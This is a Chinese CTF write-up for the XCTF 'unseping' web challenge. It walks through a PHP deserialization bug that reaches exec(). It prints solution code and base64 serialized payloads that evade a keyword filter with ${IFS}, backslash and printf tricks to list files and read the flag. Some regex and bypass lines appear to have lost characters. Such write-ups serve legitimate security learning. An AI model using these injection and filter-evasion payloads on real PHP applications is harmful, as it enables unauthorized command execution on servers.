攻防世界 - Web - Level 1 unseping
关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:Write UP
本关是一个 PHP 代码审计关卡,考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段,下面笔者将带你一步步过关。
代码审计,首先定位题目中的敏感函数,笔者这里定位到了如下函数:
?function ping($ip){
? ? ?exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
? ? ?var_dump($result); ?// 展示 $result 的内容
?}
看到 exec()
可以很容易想到本关的考察点就是命令执行漏洞。继续逆向审计,看看哪里有机会调用 ping()
函数,笔者将目光放到了这里:
?// __destruct() 当对象销毁时触发
?function __destruct(){
? ? ?// 如果 $this->method 为 ping 则会进入函数调用
? ? ?if (in_array($this->method, array("ping"))) {
? ? ? ? ?// call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
? ? ? ? ?call_user_func_array(array($this, $this->method), $this->args);
? ? }
?}
结合上面两个函数,很明显,我们要生成一个对象,并给这个对象的 $this->method
赋值为 ping
,让其调用 function ping($ip)
函数,如果成功那么 $this->args
里就可以是我们赋值给它的任意的命令。
下面我们来看看题目类的构造方法(初始化方法):
?function __construct($method, $args) { // 构造方法,接收两个传参
? ? ?$this->method = $method; // 将 $method 传递到 $this->method 中
? ? ?$this->args = $args; // 将 $args 传递到 $this->args
?}
通过之前的分析,我们知道了,$method
我们要赋值为 ping
,$this->args
中就是我们进行命令执行的参数,我们的目标是获取 Flag,但是目前我们连 Flag 的位置都不知道,所以首先我们肯定是要先检查目标当前文件夹下的文件有啥的,所以我们想要执行的命令为 ls
,即列出目标当前目录下的内容。这里还有一个注意点,$this->args
传递的是一个数组类型的数据,为啥?我们先来看一下 call_user_func_array()
函数的定义:
PHP 官方文档中写名的,该函数第一个接收的是回调函数,第二个接收的是参数数组。
所以,基于前面的一套分析,我们可以得出,我们需要实例化一个这样的对象:
?$ctf = new ease('ping', array('ls'));
所以,我们最终的题解模板程序如下所示:
?<?php
?class ease{
? ? ?
? ? ?private $method;
? ? ?private $args;
? ? ?function __construct($method, $args) {
? ? ? ? ?$this->method = $method;
? ? ? ? ?$this->args = $args;
? ? }
?
? ? ?function __destruct(){
? ? ? ? ?if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
? ? ? ? ? ? ?call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
? ? ? ? ? ? ?// $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
? ? ? ? }
? ? }
?
? ? ?function ping($ip){
? ? ? ? ?exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
? ? ? ? ?var_dump($result); ?// 展示结果 => 考点,命令执行
? ? }
??
? ? ?function waf($str){
? ? ? ? ?if (!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
? ? ? ? ? ? ?return $str;
? ? ? ? } else {
? ? ? ? ? ? ?echo "don't hack";
? ? ? ? }
? ? }
?
? ? ?function __wakeup(){ // 执行 unserialize 调用此方法
? ? ? ? ?foreach($this->args as $k => $v) {
? ? ? ? ? ? ?$this->args[$k] = $this->waf($v);
? ? ? ? }
? ? } ?
?}
??
?$ctf = new ease('ping', array('ls'));
?echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
?echo "
";
?// $ctf=@$_POST['ctf'];
?// @unserialize(base64_decode($ctf));
??>
下面我们一步一步为我们的命令执行扫清障碍。通过上面的题解代码,运行后我们会得到一个进行 Base64 编码后的 ease
对象的序列化内容,当目标服务端接收后,会执行反序列化操作。
首先进入 __wakeup()
函数,该函数会调用 waf()
方法,将我们传递的 array()
数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don't hack
,反之则会返回。
我们将要执行的 ls
很明显在黑名单中,绕过很简单,使用 即可,在 Linux 操作系统中 ls
与 ls
是等价的:
所以,我们可以使用如下对象构建序列化内容执行 ls
命令:
?$ctf = new ease('ping', array('ls'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
如上,我们成功得到了 Flag 的存放地址,此时注意了页面显示的 flag_1s_here
是个文件夹不是文件哦(笔者偷懒少测一步,不信你 cat
一下这个文件,你啥也读不到,还会怀疑自己)。
知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 ls flag_1s_here
构建序列化内容读取?你会发现,上面那个命令中空格与 flag
都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}
进行空格的绕过。所以修改后的 Payload 如下:
?$ctf = new ease('ping', array('ls${IFS}flag_1s_here'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=
至此,我们已经成功获得 Flag 的文件地址:
?flag_1s_here/flag_831b69012c67b35f.php
然后问题又来了,/
也被过滤了。咋搞,这里我们需要使用 Linux 内联代码进行绕过,先来看个 /
的等价写法:
所以我们最终的题解 Payload 如下:
?$ctf = new ease('ping', array('cat${IFS}flag_1s_here$(printf${IFS}"/")flag_831b69012c67b35f.php'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=
0x02:参考链接
[ I F S − A 思 − 博客园 IFS - A思 - 博客园 IFS−A思−博客园IFS 是linux中的命令 I F S 默认指定 s p a c e , t a b , 换行也可以自己指定 IFS默认指定space,tab,换行 也可以自己指定 IFS默认指定space,tab,换行也可以自己指定IFS,例:IFS=‘&’ $IFS可以把多个符号和并,如下: mm=11&&22&&33, echo KaTeX parse error: Expected 'EOF', got '&' at position 21: …/11 22 33,实际是11&̲https://www.cnb…IFS - A思 - 博客园")
[shell中的 I F S 变量和 IFS变量和 IFS变量和*-CSDN博客文章浏览阅读5.4k次,点赞7次,收藏21次。IFS表示 Internal Field Separator(内部字段分隔符)_ i f s h t t p s : / / b l o g . c s d n . n e t / l i l o n g s y / a r t i c l e / d e t a i l s / 108239183 ] ( h t t p s : / / b l o g . c s d n . n e t / l i l o n g s y / a r t i c l e / d e t a i l s / 108239183 " s h e l l 中的 ifshttps://blog.csdn.net/lilongsy/article/details/108239183](https://blog.csdn.net/lilongsy/article/details/108239183 "shell中的 ifshttps://blog.csdn.net/lilongsy/article/details/108239183](https://blog.csdn.net/lilongsy/article/details/108239183"shell中的IFS变量和$*-CSDN博客")
相关文章:
攻防世界 - Web - Level 1 unseping
关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客 0x01:Write UP 本关是一个 PHP 代码审计关卡,考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段,下面笔者将带你一步步过关。…...
【ES6复习笔记】ES6的模块化(18)
模块化的概念 模块化是指将一个复杂的系统分解为多个模块,每个模块完成一个特定的功能,模块之间通过接口进行通信。模块化的目的是提高代码的可读性、可维护性和可重用性。 模块化规范产品, ES6 之前的模块化规范有: CommonJS …...
[项目][boost搜索引擎#4] cpp-httplib使用 log.hpp 前端 测试及总结
目录 编写http_server模块 1. 引入cpp-httplib到项目中 2. cpp-httplib的使用介绍 3. 正式编写http_server 九、添加日志到项目中 十、编写前端模块 十一. 详解传 gitee 十二、项目总结 项目的扩展 写在前面 [项目详解][boost搜索引擎#1] 概述 | 去标签 | 数据清洗 |…...
vue3入门教程:计算属性
计算属性的基本用法 计算属性是通过computed函数创建的,它接受一个getter函数作为参数,并返回一个只读的响应式ref对象。该ref对象通过.value属性暴露getter函数的返回值。 <template><div><p>原始数据: {{ count }}</p><p…...
Linux大数据方向shell
一、概述 shell是一个命令行解释器,它接收应用程序/用户命令,然后调用操作系统内核,还是一个功能相当强大的编程语言,易编写,易调试,灵活性强。 二、shell入门 1.输出hello world touch helloworld.sh&…...
深度学习blog-卷积神经网络(CNN)
卷积神经网络(Convolutional Neural Network,CNN)是一种广泛应用于计算机视觉领域,如图像分类、目标检测和图像分割等任务中的深度学习模型。 1. 结构 卷积神经网络一般由以下几个主要层组成: 输入层:接收…...
Unity3D如何优化物理模拟?
在Unity3D中优化物理模拟可以显著提高游戏的性能和稳定性。以下是一些常见的优化策略: 1. 调整物理引擎设置 物理时间步长(Physics Time Step):这是物理引擎每次更新的时间间隔。较小的值可以提高物理模拟的精度,但会…...
C项目 天天酷跑(下篇)
上篇再博客里面有,接下来我们实现我们剩下要实现的功能 文章目录 碰撞检测 血条的实现 积分计数器 前言 我们现在要继续优化我们的程序才可以使这个程序更加的全面 碰撞的检测 定义全局变量 实现全局变量 void checkHit() {for (int i 0; i < OBSTACLE_C…...
认识Python语言
Python背景介绍 Python的作者是荷兰人 Guido van Rossum(龟叔)Python正是诞生于1991年Python目前有两个版本,Python2和Python3 代码不完全兼容源文件.py文件名后缀Python的解释如今有多个语言实现,我们常用的是Cpython或者IPytho…...
Python——day09
os模块 sys模块 time模块 logging模块...
机器视觉检测相机基础知识 | 颜色 | 光源 | 镜头 | 分辨率 / 精度 / 公差
注:本文为 “keyence 视觉沙龙中机器视觉检测基础知识” 文章合辑。 机器视觉检测基础知识(一)颜色篇 视觉检测硬件构成的基本部分包括:处理器、相机、镜头、光源。 其中,和光源相关的最重要的两个参数就是光源颜色和…...
在 CentOS 系统上安装 ClickHouse
在 CentOS 系统上安装 ClickHouse 数据库相对简单,可以通过官方提供的安装包来进行。以下是详细的安装步骤。 1. 更新系统 首先,确保你的系统是最新的,更新软件包和系统库: sudo yum update -y2. 安装依赖库 ClickHouse 需要一…...
FreeSql
官网 1、安装包 Install-Package FreeSql Install-Package FreeSql.Provider.SqlServer2、Program.cs 文件 using FreeSql; using Microsoft.OpenApi.Models; using System.Configuration;var builder WebApplication.CreateBuilder(args);builder.Services.AddController…...
webpakc介绍
介绍 因为不确定打出的前端包所访问的后端IP,需要对项目中IP配置文件单独拿出来,方便运维部署的时候对IP做修改。 因此,需要用webpack单独打包指定文件。 CommonsChunkPlugin module.exports {entry: {app: APP_FILE // 入口文件},outpu…...
自然语言处理基础
目录 一:文本表示 1:词的独热表示 2:词的分布式表示 (1)最初分布式表示 (2):点互信息(PMI) (3)奇异值分解(SVD&…...
创新引领,从零到一:陶氏减速机在高精密领域的深耕与突破
在高精密机械传动中,陶氏智能正以一款革命性的“第四类”减速机——环面包络多齿啮合减速机,书写着属于自己的传奇篇章。这款减速机不仅代表了技术的飞跃,更是对传统工业自动化领域的一次深刻革新,其影响力横跨航天航空、工业机器…...
神经网络-VggNet
2014年VggNet被推出,获取了ILSVRC2014比赛分类项目的第二名,第一名是GoogleNet,该网络在下节介绍,本节主要介绍VggNet。 VggNet可以称为是一个家族,根据层数的不同包括了A、A-LRN、B、C、D等网络结构,其中…...
服务器数据恢复—Lustre分布式文件系统下服务器节点进水的数据恢复案例
服务器数据恢复环境&故障: 5台节点服务器,每台节点服务器上有一组RAID5阵列。每组RAID5阵列上有6块硬盘(其中1块硬盘设置为热备盘,其他5块硬盘为数据盘)。上层系统环境为Lustre分布式文件系统。 机房天花板漏水导致…...
实战分享:开发设计文档模版及编写要点
总框架 一、需求类开发设计文档模版 1、PRD链接 PRD文档链接 2、后端设计 1)流程图/代码逻辑描述 描述代码逻辑,要求清晰准确,尽量用图表描述 超过3人天工作量的需求必须有流程图 2)库表设计 涉及数据库的改动,…...
一文彻底拿捏DevEco Studio的使用小技巧
程序员Feri一名12年的程序员,做过开发带过团队创过业,擅长Java相关开发、鸿蒙开发、人工智能等,专注于程序员搞钱那点儿事,希望在搞钱的路上有你相伴!君志所向,一往无前! 0.安装DevEco Studio DevEco Studio面向HarmonyOS应用及元服务开发者提供的集成开…...
Linux文件目录 --- touch命令创建文件
四、touch命令 touch命令用于创建新文件或更改现有文件的时间戳。文件的时间戳包括最后访问时间、最后修改时间和最后更改时间。 touch [选项] 文件名称 选项作用- a改变档案的读取时间记录-c 假如目的档案不存在,不会建立新的档案-d 指定时间与日期-h影响每个…...
Scala课堂小结
(一)数组: 1.不可变数组 2.创建数组...
git分支与部署环境的关系以及开发规范
一 某金融机构 1.1 分支分类以及作用 1.master master分支为主分支,用于部署生产环境的分支,无论任何时候都要确保master分支的稳定性;master分支由feature及hotfix分支合并,任何时间都不能直接修改代码。目前用于老仿真和老生产,暂时不动。 2.prod 主分支,是master…...
前端入门之VUE--ajax、vuex、router,最后的前端总结
前言 VUE是前端用的最多的框架;这篇文章是本人大一上学习前端的笔记;欢迎点赞 收藏 关注,本人将会持续更新。本人不是学前端的,这个是大一的时候上学的和做的笔记,那个时候学的也蒙,故这里对前端做一个总…...
LabVIEW实现NB-IoT通信
目录 1、NB-IoT通信原理 2、硬件环境部署 3、程序架构 4、前面板设计 5、程序框图设计 6、测试验证 本专栏以LabVIEW为开发平台,讲解物联网通信组网原理与开发方法,覆盖RS232、TCP、MQTT、蓝牙、Wi-Fi、NB-IoT等协议。 结合实际案例,展示如何利用LabVIEW和常用模块实现物联网…...
蓝牙协议——音乐启停控制
手机播放音乐 手机暂停音乐 耳机播放音乐 耳机暂停音乐...
深入理解C++ 容器类
承接Qt/C软件开发项目,高质量交付,灵活沟通,长期维护支持。需求所寻,技术正适,共创完美,欢迎私信联系! 引言 C 标准库提供了丰富的容器(container)类型,用于存…...
Judging LLM-as-a-Judge with MT-Bench and Chatbot Arena
指令微调后的模型不一定在传统Benchmark上取得更好的结果,类似MMLU和HELM。根据人类爱好对齐后的模型,需要新的评测方法。 文章提出了两个主要内容:MT-bench和Chatbot Arena MT-bench是一系列开放式问题,用于评估聊天机器人的多回…...
Qt 的信号槽机制详解:之信号槽引发的 Segmentation Fault 问题拆析(下)
Qt 的信号槽机制详解:之信号槽引发的 Segmentation Fault 问题拆析(下) 前言一. 信号槽的误用导致崩溃的常见原因1.信号和槽连接的对象被提前释放案例解决方法 2.参数类型不匹配案例解决方法 3. 多线程信号槽使用不当案例解决方法 4. 信号重复…...
测试时计算策略(BON, stepwiseBON, beamsearch, lookahead,混合方法,计算最优扩展,过程奖励模型引导,多数投票)
、Step-wise BoN、Self-Refine、Agent Workflow 一 测试时计算 测试时计算(test-time compute),也称为推理计算,是指 LLM 生成提示响应时使用的计算资源。与用于创建和完善模型本身的训练计算不同,每次使用模型时都会…...
设置postgreSQL字段自增
CREATE SEQUENCE ai_mirror_opcode_seq START WITH 1 INCREMENT BY 1 NO MINVALUE NO MAXVALUE CACHE 1; nextval(ai_mirror_opcode_seq) 手动创建序列并设置默认值: 如果你需要更细粒度的控制,可以手动创建一个序列,并将其设置为某个字段的…...
flask-admin的modelview 实现list列表视图中扩展修改状态按钮
背景: 在flask-admin的模型视图(modelview 及其子类)中如果不想重构UI视图,那么就不可避免的出现默认视图无法很好满足需求的情况,如默认视图中只有“新增”,“编辑”,“选中的”三个按钮。 材…...
强大且灵活的终端工具Tabby的强大功能与详细配置指南
文章目录 前言1. Tabby下载安装2. Tabby相关配置3. Tabby简单操作4. ssh连接Linux4.1 ubuntu系统安装ssh4.2 Tabby远程ssh连接ubuntu 5. 安装内网穿透工具5.1 创建公网地址5.2 使用公网地址远程ssh连接 6. 配置固定公网地址 前言 大家好!今天我要给大家安利一个超级…...
dns显示不可用是怎么回事?
在互联网的世界里,DNS(域名系统)扮演着至关重要的角色。它负责将用户输入的网址(域名)转换为服务器的IP地址,从而让用户能够访问到相应的网站。然而,有时用户可能会遇到DNS显示不可用的情况,这不仅影响上网体验,还可能…...
探索Flink动态CEP:杭州银行的实战案例
摘要:本文撰写自杭州银行大数据工程师唐占峰、欧阳武林老师。将介绍 Flink 动态 CEP的定义与核心概念、应用场景、并深入探讨其技术实现并介绍使用方式。主要分为以下几个内容: Flink动态CEP简介 Flink动态CEP的应用场景 Flink动态CEP的技术实现 Flin…...
单机服务和微服务
单体服务 一种软件开发模型,它将所有的服务组件集成在一个独立的系统单位中进行开发、部署和维护。在这种架构中,前端用户界面、后端服务器逻辑、数据库操作等组件通常紧密耦合在一起,形成一个统一的程序。这种架构模式易于开发和部署&#x…...
孔雀鱼和斑马鱼能一起养吗?
在观赏鱼的世界里,孔雀鱼和斑马鱼都是备受鱼友喜爱的热门品种。它们独特的外形和相对容易的饲养条件,使得不少养鱼新手跃跃欲试将它们混养在一起,但这其中实则有诸多因素需要考量。 从生存环境来看,孔雀鱼和斑马鱼有一定的兼容性…...
作业帮基于 Apache DolphinScheduler 3_0_0 的缺陷修复与优化
文|作业帮大数据团队(阮文俊、孙建业) 背 景 基于 Apache DolphinScheduler (以下简称DolphinScheduler)搭建的 UDA 任务调度平台有效支撑了公司的业务数据开发需求,处理着日均百万级别的任务量。 整个 UDA 的架构如…...
【LC】111. 二叉树的最小深度
题目描述: 给定一个二叉树,找出其最小深度。 最小深度是从根节点到最近叶子节点的最短路径上的节点数量。 说明:叶子节点是指没有子节点的节点。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:2示…...
HarmonyOS NEXT 实战之元服务:静态案例效果--- 歌手推荐
背景: 前几篇学习了元服务,后面几期就让我们开发简单的元服务吧,里面丰富的内容大家自己加,本期案例 仅供参考 先上本期效果图 ,里面图片自行替换 效果图1完整代码案例如下: import { authentication } …...
selenium自动化测试(超详细~)
最近也有很多人私下问我,selenium学习难吗,基础入门的学习内容很多是3以前的版本资料,对于有基础的人来说,3到4的差别虽然有,但是不足以影响自己,但是对于没有学过的人来说,通过资料再到自己写的…...
Spring Boot教程之三十一:入门 Web
Spring Boot – 入门 Web 如今,大多数应用程序都需要模型-视图-控制器(MVC) 架构来满足各种需求,例如处理用户数据、提高应用程序效率、为应用程序提供动态特性。它主要用于构建桌面图形用户界面 (GUI),但现在越来越流行用于构建基于 Web 的…...
【每日学点鸿蒙知识】指纹识别隐藏背面、数组内部值变化刷新UI、键盘输入类型、跨组件路由、C++20特性支持
1、HarmonyOS 指纹识别情况下,隐藏背面内容? 有一个场景,在指纹识别验证页面时候,此时需要用户看不到背面的内容,请问应该怎么处理这块。或者有什么方案,可以通过window,获取到当前页面的page&…...
Python数据处理——re库与pydantic的使用总结与实战,处理采集到的思科ASA防火墙设备信息
目录 Python正则表达式re库的基本用法 引入re库 各函数功能 总结 使用方法举例 正则表达式语法与书写方式 正则表达式的常用操作符 思科ASA防火墙数据 数据1 数据2 书写正则表达式 Python中pydantic的使用 导入基础数据模板 根据数据采集目标定义Pydantic数据类型…...
centos系统如何安装kubectl和部署kube-apiserver
1.使用 yum 安装(推荐) 添加 Kubernetes 软件源: 首先,你需要添加 Kubernetes 的官方 YUM 软件源。这可以通过下载并安装 kubernetes.repo 文件来实现。 shell cat <<EOF | sudo tee /etc/yum.repos.d/kubernetes.repo [k…...
【源码编译】windows下mingw64安装以及cmake调用
最近因为安装MIRTK库,太多第三方依赖了,太折磨了,学习了使用Cmake,有些库又需要Fortran编译器,VS2022里面装了但又调用不了,也不知道为什么,最后装的mingw64,记录一下。 1、mingw64安…...
HarmonyOS NEXT 实战之元服务:静态案例效果---最近播放音乐
背景: 前几篇学习了元服务,后面几期就让我们开发简单的元服务吧,里面丰富的内容大家自己加,本期案例 仅供参考 先上本期效果图 ,里面图片自行替换 效果图1完整代码案例如下: Index import { authentica…...
【QT开发自制小工具】PDF/图片转excel---调用百度OCR API接口
前言 前几年WPS还可以免费处理5页以内的PDF转excel,现在必须付费了,而且百度其他在线的PDF转excel都是要收费的,刚好前几年调研过百度OCR的高精度含位置接口,依然是每天可以免费调用50次,本篇是基于此接口,…...
uniapp 基于xgplayer(西瓜视频) + renderjs开发,实现APP视频播放
背景:在uniapp中因原生video组件功能有限,选择引入xgplayer库来展示视频播放等功能。并且APP端无法操作dom,所以使用了renderjs。 其他的不多说,主要列举一下renderjs中需要注意的点: 1、使用:在标签后&…...
[1111].集成开发工具Pycharm安装与使用
所有博客大纲 后端学习大纲 Python大纲 1.下载: 官方下载地址 2.安装: 1.双击exe文件,然后下一步选择安装目录 2.选择桌面快捷方式及安装: 3.安装完成 3.启动: 4.设置: 4.1.设置运行时环境:…...